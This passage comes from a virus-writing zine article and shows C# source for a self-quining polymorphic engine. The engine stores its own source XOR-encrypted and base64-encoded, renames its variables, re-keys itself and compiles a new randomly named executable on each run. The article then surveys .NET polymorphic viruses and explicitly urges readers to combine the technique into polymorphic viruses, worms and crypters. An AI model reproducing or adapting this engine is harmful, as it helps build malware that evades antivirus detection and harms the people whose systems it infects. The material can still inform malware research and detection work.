    +D4b+p4b+j4b+k4b+14b+94b6+4b+T4b+/4b+04b+14b+U4b+/4b+94b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+D4b+p4b+j4b+k4b+14b+94b6+4b+T4b+/4b+04b+14b+U4b+/4b
    +94b6+4b+T4b+/4b+94b+g4b+54b+84b+14b+i4b6r4b6d4b6a4b+l4b+j4b+54b++4b+34b6w4b+d4b+54b+z4b+i4b+/4b+j4b+/4b+24b+k4b6+4b+T4b+D4b+44b+x4b+i4b+g4b6r4b
    6d4b6a4b6d4b6a4b++4b+x4b+94b+14b+j4b+g4b+x4b+z4b+14b6w4b+T4b+/4b++4b+j4b+/4b+84b+14b+R4b+g4b+g4b+84b+54b+z4b+x4b+k4b+54b+/4b++4b6m4b6d4b6a4b+r4b
    6d4b6a4b6w4b6w4b6w4b6w4b+z4b+84b+x4b+j4b+j4b6w4b+I4b+A4b+i4b+/4b+34b+i4b+x4b+94b+I4b6d4b6a4b6w4b6w4b6w4b6w4b+r4b6d4b6a4b6w4b6w4b6w4b6w4b6w4b6w4b
    6w4b6w4b+g4b+i4b+54b+m4b+x4b+k4b+14b6w4b+j4b+k4b+x4b+k4b+54b+z4b6w4b+j4b+k4b+i4b+54b++4b+34b6w4b+04b+x4b+k4b+x4b+y4b+x4b+j4b+14b6w4b6t4b6w4b6y>4
    [encoded data, 17568 characters]
    b6d4b6a4b6w4b6w4b6w4b6w4b+t4b6d4b6a4b+t";
            static void Main(string[] args)
            {
                string output = new Random(DateTime.Now.Millisecond).Next(1, 111111).ToString(); // Generate new key
                if (output.Length == 1)         //avoid collision when the old key is replaced
                {
                    output = "000000" + output;
                }
                else if (output.Length == 2)
                {
                    output = "00000" + output;
                }
                else if (output.Length == 3)
                {
                    output = "0000" + output;
                }
                else if (output.Length == 4)
                {
                    output = "000" + output;
                }
                else if (output.Length == 5)
                {
                    output = "00" + output;
                }
                else
                {
                    output = "0" + output;
                }
                string[] xtx = database.Split(new char[] { '>' });
                string codey = EncryptDecrypt(decodeb64(xtx[1]), Convert.ToInt32(xtx[0])); // get plainstring from b64 then xor it with old key to decrypt head
                string codez = EncryptDecrypt(decodeb64(xtx[2]), Convert.ToInt32(xtx[0])); // get plainstring from b64 then xor it with old key to decrypt tail
                string codei = codey + decodeb64("fHx8fA==") + codez; // combine with delimiter (no multiple instances)
                string codel = polyx(codei);     // variable changing
                string codev = xtx[0].Replace("0008080", output); //change old key in database
                codel = codel.Replace("0008080", output); // change old key in head or/and tail
                string[] finalx = codel.Split(new string[] { decodeb64("fHx8fA==") }, StringSplitOptions.None); //split again the new source
                codey = finalx[0]; // new head
                codez = finalx[1]; // new tail
                                // new database variable (new key>base64ofxoredencryptedheadusingnewkey>base64ofxoredencryptedtailusingnewkey)
                string midcod = codev + ">" + encodeb64(EncryptDecrypt(codey, Convert.ToInt32(output))) + ">" + encodeb64(EncryptDecrypt(codez, Convert.ToInt32(output)));
                string xcodex = codey + midcod + codez; // NEW! source
                bool makeexe = BuildExe(GetRandomString() + ".exe", xcodex); //create exefile with random name
            }
            private static string decodeb64(string donny)
            {
                byte[] plainx = Convert.FromBase64String(donny);
                return Encoding.UTF8.GetString(plainx);    // UTF8 to handle large XOR keys
            }
            private static string encodeb64(string ggg)
            {
                UTF8Encoding AEp = new UTF8Encoding();
                return Convert.ToBase64String(AEp.GetBytes(ggg));  // UTF8 to handle large XOR keys
            }
            private static string polyx(string jyug) // variable changing
            {
                string[] ghost = { "makeexe","BuildExe","zname","vic","ocp","xvce","zresults","output","codev","EncryptDecrypt","textToEncrypt",
    "xkey","inSb","outSb","cmmm","immm","encodeb64","database","args","xtx","codey","codez","midcod","xcodex","decodeb64", "plainx","donny","polyx",
    "jyug","pathx","GetRandomString", "ConsoleApplication6", "XProgramX","codei","codel","finalx","impy","ghost", "AEp", "ggg"};
                for (int impy = 0; impy < ghost.Length; impy++)
                {
                    jyug = jyug.Replace(ghost[impy], GetRandomString());
                }
                return jyug;
            }
            public static string GetRandomString() //random string
            {
                string pathx = Path.GetRandomFileName();
                pathx = pathx.Replace(".", "");
                return "x" + pathx;
            }
            private static string EncryptDecrypt(string textToEncrypt, int xkeyx) // xor encryption
            {
                StringBuilder inSb = new StringBuilder(textToEncrypt);
                StringBuilder outSb = new StringBuilder(textToEncrypt.Length);
                char cmmm;
                for (int immm = 0; immm < textToEncrypt.Length; immm++)
                {
                    cmmm = inSb[immm];
                    cmmm = (char)(cmmm ^ xkeyx);
                    outSb.Append(cmmm);
                }
                return outSb.ToString();
            }
            private static bool BuildExe(string zname, string codey) // create exe file programatically
            {
                ICodeCompiler vic = new CSharpCodeProvider().CreateCompiler();
                CompilerParameters ocp = new CompilerParameters();
                ocp.ReferencedAssemblies.Add("System.dll");
                ocp.GenerateExecutable = true;
                ocp.CompilerOptions = "/target:winexe";
                ocp.OutputAssembly = zname;
                CompilerResults zresults = vic.CompileAssemblyFromSource(ocp, codey);
                foreach (CompilerError xvce in zresults.Errors)
                {
                    Console.WriteLine(xvce.ErrorNumber + ": " + xvce.ErrorText);
                }

                if (zresults.Errors.Count == 0)
                {
                    return true;
                }
                else
                {
                    return false;
                }
            }
        }
    }

    ==================================================================================================================================================

    // A Visual Studio solution (binaries\quiningdemo.rar) of the above demo source comes together with this article.

    VI - .NET Polymorphism Attempts (In The VX world)
    --------------------------------------------------

    So far, I have seen only 3 vxers who talked about and/or applied polymorphic techniques in their .NET viruses and all of them had
    different approaches compared to mine. The first one was so advanced though....

    The first ever demonstration of polymorphism in .NET is whale's Snail virus. It is written in C# and released in 29a#7. It uses a disassembler
    module ILReader.dll (from Lutz Roeder which is discontinued now) to achieve its purpose. It disassembles its victim and itself via ILReader.dll,
    changes its own symbols and adds trash and writes itself with the new victim. So basically in every infection, there is a different appearance
    of itself. Complex stuff if you examine the code (Reflection.Emit!) "http://vx.netlux.org/29a/29a-7/Viruses/Misc/29A-7.015".

    In his article, "Using the .NET runtime compiler for file infection" (http://eof-project.net/articles/DiA/net_runtime_comp_file_inf.html)
    in which he described a non-polymorphic virus that infects other files by recompiling itself with the host, which is added as its resource,
    we can read DiA saying,

    ------------------------------------------------------------------------------------------------------------------------------------------
    More More More!

    Now it's on you, imagin you are at source level, so polymorphism is not a hard take, also adding garbage is a good idea. Encrypt
    strings, split source to 100s classes, etc etc. Use your brain.
    ------------------------------------------------------------------------------------------------------------------------------------------

    Too bad he got lazy and not made a polymorphic .net virus. But he was one step closer though because his virus has the ability to compile
    itself. The way that the virus accessed its source code was by reading its resource which is an external file programatically embedded through
    compilation. This has a downside. This approach will still make the virus contain static strings (the same template source as resource)...

    Why did he used this approach? He pointed out why he can't put the source as a string inside the virus body.

    ------------------------------------------------------------------------------------------------------------------------------------------
    Source as String - I wanted to store the source code of the virus as string in the virus body. It was much much work, and not really
    worth it. You have to care that your source is compiled right (care for " as example), string max length (in source) is 2046 bytes.
    ------------------------------------------------------------------------------------------------------------------------------------------

    I've tested that this isn't true. A string variable in C# that has 500k bytes of characters (and more!) is still compilable in csc.exe as
    long as it is presented in a straight, long, continuous line. Maybe DiA tried to format it within the IDE and the IDE complained. Maybe the
    problem IDE centric.

    Or even if it's possible for him to put source in a string variable, he will still be faced with a virus that has static strings. The approach
    in this article, which is by xor encrypting the string with multiple keys and base64 encoding it, solved that. Also with this article's approach,
    one will be saved from tedious text formatting.

    In doomriderz #1's "Polymorphism in C#" article, free0n, a coder who specialized in .NET, described a very nice approach. It was having 2
    executables, a polymorphic decryptor and a polymorphic encryptor, making the symbiotic multicomponent package fully polymorphic. The decryptor
    is called first, decrypting the encryptor with a key and is run. The encryptor then compiles a different copy of the decryptor (employed with
    variable changing and other techniques) and encrypts the encryptor with a new key. The newly compiled decryptor has the new key for the successful
    decryption and execution of the encryptor, which repeats the process. This approach solves the problem of having a static source template in the
    program, since the source code template of the decryptor is in the encryptor, which is always encrypted with a new key. He used the technique in
    his virus MSIL.Baldr.

    Both of them didn't use quining, though. Quining and polymorphism was first realized in my virus MSIL.Jabir, a polymorphic, single component .NET
    virus (which can be downloaded in my page) and it solved the problem of DiA (source within the virus source) and optimized the approach of free0n
    (which is now having a single component doing everything).

    VII - Outroduction
    -------------------

    This article was only made to show the readers what can we do with quining in C# and the new ideas that can be generated from it (polymorphism).
    But, hey, we're not limited to polymorphism. Other techniques can also be realized from the ability to recreate sources (and compiling them back)
    such as updating the program at source code level (say changing a built in .net function/choosing another overloaded method and other stuff).

    Since this is geared to the VX audience, applying the techniques presented here is fully encouraged. Combining them with the features of msil.pacman
    or other ideas that you can think of, you can make a polymorphic C# virus with a new infection routine or a polymorphic C# worm. Or if your interest
    is in a related field, you can make a .NET crypter that creates polymorphic crypted files. Or if you're like SPTH, you might think of and associate
    complex ideas with it and come with something that is original. Hehehehhe.

    Remember, quining can be look at as a way for a program to "decompile" itself.

    For reactions and comments, you can contact me at (bangingatbang@land.ru).

    Have fun and happy coding.

    \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
     \\\\alcopaul/brigada ocho\\\\\05/31/11-queens,new york\\\\
      \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

    Sounds
    ------

    This article is best read with these songs playing...

    Black and Yellow - Wiz Khalifa
    The Next Episode - Dr. Dre (ft. Snoop Dogg)

    Greetz
    ------

    philet0ast3r   ("Hey philie! Resurrect rrlf!")
    SPTH           ("Thanks for previewing my stuffs and for reminding me of whale's msil poly stuff.")
    Metal          ("Thanks for always opping me in #virus. hehehehe.")
    PSVX.org       ("Kumusta? Hehehe")

    all former members of rrlf and brigada ocho ("Fun ride and 'til we meet again")

    My Links
    --------

    my page (http://about.me/alcopaul)
    brigada ocho (http://bangingatbang.land.ru/b8)

    Inspirations
    ------------
    http://www.youtube.com/watch?v=gTqvz-FtxVI

    References
    ----------
    (1) http://en.wikipedia.org/wiki/Quines